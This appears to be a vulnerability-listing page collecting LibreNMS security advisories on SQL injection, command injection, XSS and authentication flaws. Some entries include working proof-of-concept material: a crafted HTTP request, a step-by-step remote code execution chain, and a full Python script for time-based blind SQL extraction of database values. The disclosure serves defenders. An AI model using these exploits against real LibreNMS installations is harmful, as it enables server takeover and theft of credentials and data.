See how librenms compares to other vendors in security performance
LibreNMS 1.46 allows remote attackers to execute arbitrary OS commands by using the $POST['community'] parameter to html/pages/addhost.inc.php during creation of a new device, and then making a /ajaxoutput.php?id=capture&format=text&type=snmpwalk&hostname=localhost request that triggers html/includes/output/capture.inc.php command mishandling.
Cross-site Scripting (XSS) - Stored in GitHub repository librenms/librenms prior to 23.9.0.
Librenms 21.11.0 is affected by a path manipulation vulnerability in includes/html/pages/device/showconfig.inc.php.
An issue was discovered in LibreNMS through 1.47. The scripts that handle the graphing options (html/includes/graphs/common.inc.php and html/includes/graphs/graphs.inc.php) do not sufficiently validate or encode several fields of user supplied input. Some parameters are filtered with mysqlirealescapestring, which is only useful for preventing SQL injection attacks; other parameters are unfiltered. This allows an attacker to inject RRDtool syntax with newline characters via the html/graph.php script. RRDtool syntax is quite versatile and an attacker could leverage this to perform a number of attacks, including disclosing directory structure and filenames, file content, denial of service, or writing arbitrary files.
LibreNMS v22.3.0 was discovered to contain multiple command injection vulnerabilities via the serviceip, hostname, and serviceparam parameters.
Insufficient Session Expiration in GitHub repository librenms/librenms prior to 22.10.0.
Summary SQL Injection in IPv6 Address Search functionality via address parameter
A SQL injection vulnerability exists in the ajaxtable.php endpoint. The application fails to properly sanitize or parameterize user input when processing IPv6 address searches. Specifically, the address parameter is split into an address and a prefix, and the prefix portion is directly concatenated into the SQL query string without validation. This allows an attacker to inject arbitrary SQL commands, potentially leading to unauthorized data access or database manipulation.
Details The vulnerability is located in the logic that handles address searching when searchtype is set to ipv6.
The application takes the user-supplied address parameter and splits it using the / delimiter: PHP [$address, $prefix] = explode('/', $vars['address']); If the searchtype is ipv6 and the $prefix variable is not empty, the code constructs the SQL query by directly concatenating the $prefix variable into the string: } elseif ($vars['searchtype'] == 'ipv6') { // ... code omitted ... if (! empty($prefix)) { // VULNERABILITY: Direct concatenation of user input $sql .= " AND ipv6prefixlen = '$prefix'"; } } Unlike the ipv4 block, which attempts to use prepared statements (binding parameters via $param[]), the ipv6 block treats the prefix as a raw string. By supplying an input containing a /, an attacker can populate the $prefix variable. If this variable contains single quotes ('), it breaks out of the string literal in the SQL statement, enabling SQL injection.
Vulnerable Code Snippet: if (! empty($prefix)) { $sql .= " AND ipv6prefixlen = '$prefix'"; } PoC To reproduce this vulnerability, an attacker can send a specially crafted HTTP POST request to the ajaxtable.php endpoint.
Payload breakdown:
- searchtype=ipv6: Forces the execution flow into the vulnerable elseif block.
- address=snow/1nd'":
- The explode function splits this into $address = 'snow' and $prefix = "1nd'"".
- The SQL query becomes: ... AND ipv6prefixlen = '1nd'"'.
- The single quote ' closes the string definition in the SQL query, and the subsequent characters allow for SQL syntax manipulation.
Reproduction Steps:
1. Access the application instance.
2. Send the following request (adjusting the host as necessary): POST /ajaxtable.php HTTP/1.1 Host: localhost id=address-search&searchtype=ipv6&address=snow/1nd'" Impact This vulnerability allows an attacker to execute arbitrary SQL queries against the database.
LibreNMS through 26.4.0 renders JSON fields (name, ip, model, author, commit message) returned by the admin-configurable Oxidized integration URL (oxidized.url) into the device showconfig page without applying htmlspecialchars(). An administrator who points the Oxidized URL at an attacker-controlled server (SSRF) can cause it to return malicious JSON, resulting in stored/persistent cross-site scripting affecting all users who view any device's showconfig tab. Fixed in 26.7.0.
LibreNMS before 26.8.0 contains an authentication bypass vulnerability in the REST API that allows unauthenticated attackers to access protected endpoints by sending numeric values instead of string tokens. Attackers can exploit MySQL type coercion by sending small integers like 0 through 9 to match token hashes, gaining access to API functionality including device credentials and administrative features that enable remote code execution through alert templates.
Summary An authenticated attacker can create dangerous directory names on the system and alter sensitive configuration parameters through the web portal. Those two defects combined then allows to inject arbitrary OS commands inside shellexec() calls, thus achieving arbitrary code execution.
Details OS Command Injection We start by inspecting the file app/Http/Controllers/AboutController.php, more particularly the index() method which is executed upon simply visiting the /about page: php public function index(Request $request) { $version = Version::get();
return view('about.index', [ <TRUNCATED>
'versionwebserver' => $request->server('SERVERSOFTWARE'), 'versionrrdtool' => Rrd::version(), 'versionnetsnmp' => strreplace('version: ', '', rtrim(shellexec(Config::get('snmpget', 'snmpget') . ' -V 2>&1'))),
<TRUNCATED> ]); }
We can see that the versionnetsnmp key receives a value direclty dependent of a shellexec() call. The argument to this call reflects a configuration parameter with no sanitization. Should an attacker identify a way to alter this parameter, the server is at risk of being compromised.
Configuration parameters poisoning We now focus on the update() method of the SettingsController.php script. This method is called when the user visits the route /settings/{key} via HTTP PUT. The key parameter here is simply the name of the configuration key the user wishes to modify. php public function update(DynamicConfig $config, Request $request, $id) { $value = $request->get('value');
if (! $config->isValidSetting($id)) { return $this->jsonResponse($id, ':id is not a valid setting', null, 400); }
$current = \LibreNMS\Config::get($id); $configitem = $config->get($id);
if (! $configitem->checkValue($value)) { return $this->jsonResponse($id, $configitem->getValidationMessage($value), $current, 400); }
if (\LibreNMS\Config::persist($id, $value)) { return $this->jsonResponse($id, "Successfully set $id", $value); }
return $this->jsonResponse($id, 'Failed to update :id', $current, 400); }
We can see that some protections are implemented around the configuration parameters by $configitem->checkValue($value), with a format of data being expected depending on the data type of the variable the user wants to modify. Specifically, the snmpget configuration variable expects a valid path to an existing binary on the system. To summarize : if an attacker finds a valid full-path to a system binary, while that full-path also holds shell metacharacters, then those characters would be interpreted by the shellexec() call defined above and allow for arbitrary command execution.
Arbitrary directory creation When creating a new Device through the "Add Device" page, the server allows the user to send malformed or impossible hostnames and force the data to be stored, with no sanitization being performed on this field.
In the file app/Jobs/PollDevice.php, the initRrdDirectory() method is responsible for creating a directory named after the Device's hostname. We can see the mkdir() call inside the try block: php private function initRrdDirectory(): void { $hostrrd = \Rrd::name($this->device->hostname, '', ''); if (Config::get('rrd.enable', true) && ! isdir($hostrrd)) { try { mkdir($hostrrd); Log::info("Created directory : $hostrrd"); } catch (\ErrorException $e) { Eventlog::log("Failed to create rrd directory: $hostrrd", $this->device); Log::info($e); } } }
This method is called by initDevice(), which is itself called by the handle() method (executed when the job starts). \Rrd::name() simply concatenates a string following the format <LIBRENMSINSTALLDIR>/rrd/<DEVICEHOSTNAME>.
Summary With all this, an authenticated attacker can: - Create a malicious Device with shell metacharacters inside its hostname - Force the creation of directory containing shell metacharacters through the PollDevice job - Modify the snmpget configuration variable to point to a valid system binary, while also using the directory created in the previous step via a path traversal (i.e: /path/to/install/dir/rrd/<DEVICEHOSTNAME>/../../../../../../../bin/ls) - Trigger a code execution via the shellexec() call contained in the AboutController.php script
PoC For proof of concept, we will create a file located at /tmp/rce-proof on the server's filesystem.
Consider the following command : /usr/bin/touch /tmp/rce-proof, encoded in base64 (L3Vzci9iaW4vdG91Y2ggL3RtcC9yY2UtcHJvb2Y=). This encoding is necesary whenever the command contains '/' characters, as this would otherwise generate invalid directory paths. Create a new Device with a name that contains the command you wish to execute enclosed in semi-colons, ending with a '3' character: !librenms-1
Be careful to tick the "Force Add" option, otherwise the request will be rejected. Click add: !librenms-2
A directory matching the hostname of the Device will be created whenever a PollDevice job is launched. For the purpose of the demonstration, we will be triggering this manually with artisan: !librenms-4
We can confirm that this directory indeed exists on the system: !librenms-5
We can now update the snmpget parameter value to point to any binary on the system, making sure that the specified path includes the directory that was just created: !librenms-13
Visiting the /about page will trigger the payload, then we can check that our code was indeed executed: !librenms-10
Impact Server takeover
An issue was discovered in LibreNMS through 1.47. A number of scripts import the Authentication libraries, but do not enforce an actual authentication check. Several of these scripts disclose information or expose functions that are of a sensitive nature and are not expected to be publicly accessible.
Cross-site Scripting (XSS) - DOM in GitHub repository librenms/librenms prior to 23.9.0.
Deserialization of Untrusted Data in GitHub repository librenms/librenms prior to 22.10.0.
Summary SQL injection vulnerability in POST /search/search=packages in LibreNMS 24.3.0 allows a user with global read privileges to execute SQL commands via the package parameter.
Details There is a lack of hygiene of data coming from the user in line 83 of the file librenms/includes/html/pages/search/packages.inc.php !vulnerability
PoC https://doc.clickup.com/9013166444/p/h/8ckm0bc-53/16811991bb5fff6
Impact With this vulnerability, we can exploit a SQL injection time based vulnerability to extract all data from the database, such as administrator credentials
Summary A time-based blind SQL injection vulnerability exists in address-search.inc.php via the address parameter. When a crafted subnet prefix is supplied, the prefix value is concatenated directly into an SQL query without proper parameter binding, allowing an attacker to manipulate query logic and infer database information through time-based conditional responses.
Details This vulnerability requires authentication and is exploitable by any authenticated user.
The vulnerable endpoint is at /ajaxtable.php with the following request displaying the injection point. POST /ajaxtable.php HTTP/1.1 Host: 192.168.236.131 User-Agent: Mozilla/5.0 (X11; Linux x8664; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://192.168.236.131 Connection: keep-alive Referer: http://192.168.236.131/search Cookie: laravelsession=[Authenticated user cookie]
current=1&rowCount=55&sort%5Bhostname%5D=asc&searchPhrase=&id=address-search&searchtype=ipv4&deviceid=1&interface=&address=127.0.0.1/aa<injected SQL here>
Within includes/html/table/address-search.inc.php, the user-controlled $prefix variable derived from the address parameter is concatenated directly into the SQL query without sanitization or parameter binding on lines 34 and 52.
php // Lines 16-35, 51-53 $address = $vars['address'] ?? ''; $prefix = ''; $sort = trim((string) $sort);
if (strcontains($address, '/')) { [$address, $prefix] = explode('/', $address, 2); }
if ($searchtype == 'ipv4') { $sql = ' FROM ipv4addresses AS A, ports AS I, devices AS D'; $sql .= ' WHERE I.portid = A.portid AND I.deviceid = D.deviceid ' . $where . ' ';
if (! empty($address)) { $sql .= ' AND ipv4address LIKE ?'; $param[] = "%$address%"; }
if (! empty($prefix)) { $sql .= " AND ipv4prefixlen='$prefix'"; }
......
if (! empty($prefix)) { $sql .= " AND ipv6prefixlen = '$prefix'"; }
PoC The following Python script exploits the time-based blind SQL injection vulnerability to retrieve the value of SELECT CURRENTUSER() from the database: python #!/usr/bin/python3
import requests import sys import re
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disablewarnings(category=InsecureRequestWarning)
Configured to be used with burpsuite on the default burpsuite port of 8080 proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
When None is returned it means that all values have been retrieved from the queried value in the target DB def blindbinsearchsqli(injstr): try: a = range(32,126) start = 0 end = len(a) while start <= end: mid = (start + end) // 2 targetequal = injstr.replace("[CHAR]", str(a[mid])) targetless = injstr.replace("=[CHAR]", f"<{a[mid]}")
# Return ascii decimal value for storing to a local string buffer if condition(targetequal): return a[mid] # Use lower half of the "a" array elif condition(targetless): end = mid - 1 # Use upper half of the "a" array else: start = mid + 1 return None except IndexError: return None
Check injection result def condition(payload): exploitdata = { "current": "1", "rowCount": "50", "sort[hostname]": "asc", "searchPhrase": "", "id": "address-search", "searchtype": "ipv4", "deviceid": "1", "interface": "", "address": f"127.0.0.1/aa{payload}" } # Payload must be slotted in somewhere in this code payloadurl = f"{url}/ajaxtable.php"
r = s.post(payloadurl, data=exploitdata)
elapsedtimeseconds = r.elapsed.totalseconds()
# If response time is within sleep function delay range of +1 or -1 second the query returned "true" if (elapsedtimeseconds + 1) > (sleepdelay 2) and (elapsedtimeseconds - 1) < (sleepdelay 2): return True else: return False
def getlength(inj): length = 0 print(f"(+) Getting the length of \"{inj}\"") while True: # MySQL #lengthinjectionstring = f" AND LENGTH(({inj}))={str(length)}-- -" lengthinjectionstring = f"' AND (SELECT 1 FROM (SELECT IF(LENGTH(({inj}))={str(length)},SLEEP({sleepdelay}),0))x) AND '1'='1"
boolvalue = condition(lengthinjectionstring)
if boolvalue == False: length += 1 else: return length
def injection(injectqry): extracted = "" length = getlength(injectqry) print(f"Length of \"{injectqry}\": {length}") print(f"(+) Retrieving the value for \"{injectqry}\"")
# +2 to length in order to automatically stop the injection once the None value is returned, meaning that the whole query value is extracted for i in range(1, length + 2): # MySQL injectionstring = f"' AND (SELECT 1 FROM (SELECT IF(ASCII(SUBSTRING(({injectqry}),{i},1))=[CHAR],SLEEP({sleepdelay}),0))x) AND '1'='1"
retrievedvalue = blindbinsearchsqli(injectionstring)
if retrievedvalue: extracted += chr(retrievedvalue) extractedchar = chr(retrievedvalue) print(extractedchar, flush=True, end="") elif retrievedvalue == None: print("\n(+) done!\n") return extracted
global url global s global sleepdelay global username global password
Default sleep delay, due to injection query used the response time will be sleepdelay 2 sleepdelay = 1.5
s = requests.Session()
HTTPS s.verify = False
Toggle debug proxy #s.proxies.update(proxies)
url = "http://192.168.236.131"
username = "tester2" password = "Adminbazinga"
if len(sys.argv) > 1: url = sys.argv[1] if len(sys.argv) > 2: username = sys.argv[2] if len(sys.argv) > 3: password = sys.argv[3] if len(sys.argv) > 4: sleepdelay = float(sys.argv[4])
r = s.get(url + "/login")
logintoken = re.search(r"name=\"token\"\s+value=\"([^\"]+)\"", r.text).group(1)
logindata = { "token": logintoken, "username": username, "password": password, "submit": "" }
r = s.post(url + "/login", data=logindata)
Example: python3 script.py http://127.0.0.1 username password 1.5 if name == "main": injection("SELECT CURRENTUSER()")
Tester user role: <img width="771" height="154" alt="image" src="https://github.com/user-attachments/assets/fe13754c-9a41-48cb-934d-575097675c13" />
Example usage of PoC script: <img width="924" height="104" alt="image" src="https://github.com/user-attachments/assets/6b1e19a9-4c73-4e44-8e16-851ff92d5960" />
Impact Any authenticated user can exploit this vulnerability to extract sensitive information from the back-end database using time‑based blind SQL injection techniques. This leads to unauthorised disclosure of database contents, including schema information and potentially sensitive application data. An attacker can retrieve privileged accounts (e.g. administrative usernames) and their associated password hashes, potentially leading to privilege escalation within LibreNMS by cracking the password hashes and obtaining plaintext admin user credentials.
An issue was discovered in LibreNMS 1.65. A remote authenticated attacker with normal privileges can extract all the information from the LibreNMS database via a SQL injection in the address parameter in the /ajaxtable.php API endpoint.
An issue was discovered in LibreNMS 1.65. A remote authenticated attacker with normal privileges can execute arbitrary shell commands through a command injection in the /graph.php API endpoint.
An issue was discovered in LibreNMS 1.65. A remote authenticated attacker with normal privileges can extract all the information from the LibreNMS database via a SQL injection in the sort parameter in the /ajaxtable.php API endpoint. This affects address-search.inc.php, alertlog.inc.php, arp-search.inc.php, as-selection.inc.php, bills.inc.php, devicemibs.inc.php, deviceoids.inc.php, edit-ports.inc.php, eventlog.inc.php, inventory.inc.php, ix-list.inc.php, ix-peers.inc.php, mempool-edit.inc.php, mempool.inc.php, mibs.inc.php, poll-log.inc.php, processor-edit.inc.php, processor.inc.php, routing-edit.inc.php, sensors-common.inc.php, storage-edit.inc.php, storage.inc.php, tnmsneinfo.inc.php, and toner.inc.php (in includes/html/table).
Cross-site Scripting (XSS) - DOM in GitHub repository librenms/librenms prior to 23.9.0.
Cross-site Scripting (XSS) - Generic in GitHub repository librenms/librenms prior to 23.9.0.
Cross-site Scripting (XSS) - Reflected in GitHub repository librenms/librenms prior to 23.9.0.
A second-order SQL injection issue in Widgets/TopDevicesController.php (aka the Top Devices dashboard widget) of LibreNMS before 21.1.0 allows remote authenticated attackers to execute arbitrary SQL commands via the sortorder parameter against the /ajax/form/widget-settings endpoint.
An issue was discovered in LibreNMS 1.50.1. The scripts that handle graphing options (includes/html/graphs/common.inc.php and includes/html/graphs/graphs.inc.php) do not sufficiently validate or encode several fields of user supplied input. Some parameters are filtered with mysqlirealescapestring, which is only useful for preventing SQL injection attacks; other parameters are unfiltered. This allows an attacker to inject RRDtool syntax with newline characters via the html/graph.php and html/graph-realtime.php scripts. RRDtool syntax is quite versatile and an attacker could leverage this to perform a number of attacks, including disclosing directory structure and filenames, disclosing file content, denial of service, or writing arbitrary files. NOTE: relative to CVE-2019-10665, this requires authentication and the pathnames differ.
An issue was discovered in LibreNMS through 1.47. It does not parameterize all user supplied input within database queries, resulting in SQL injection. An authenticated attacker can subvert these database queries to extract or manipulate data, as demonstrated by the graph.php sort parameter.
An issue was discovered in LibreNMS before 1.65.1. It has insufficient access control for normal users because of "'guard' => 'admin'" instead of "'middleware' => ['can:admin']" in routes/web.php.
Improper Access Control in Packagist librenms/librenms prior to 22.2.0.
LibreNMS through 1.47 allows SQL injection via the html/ajaxtable.php sort[hostname] parameter, exploitable by authenticated users during a search.
LibreNMS before 26.8.0 contains an argument injection vulnerability in the graphtitle parameter that allows authenticated attackers to inject arbitrary rrdtool arguments by breaking out of double-quote escaping. Attackers can inject DEF and LINE arguments to read RRD files from unauthorized devices, or use newline injection to execute arbitrary rrdtool commands, bypassing per-device authorization checks.
LibreNMS’s Virtualization Discovery module is vulnerable to command line injection. An authenticated admin user can execute arbitrary code on the host server.
LibreNMS versions >= 23.10.0 and < 26.2.0 (fixed in 26.4.0) contain an authenticated OS command injection vulnerability in libvirt discovery. When libvirt support is enabled (enablelibvirt=true), the device hostname ($this->getDevice()->hostname) is concatenated into shell commands (ssh, virsh list/dumpxml/domstate) in VminfoLibvirt.php and passed to exec() without escapeshellarg() or argument separation. An authenticated admin can set a crafted device hostname to inject arbitrary OS commands, leading to remote code execution in the discovery worker context.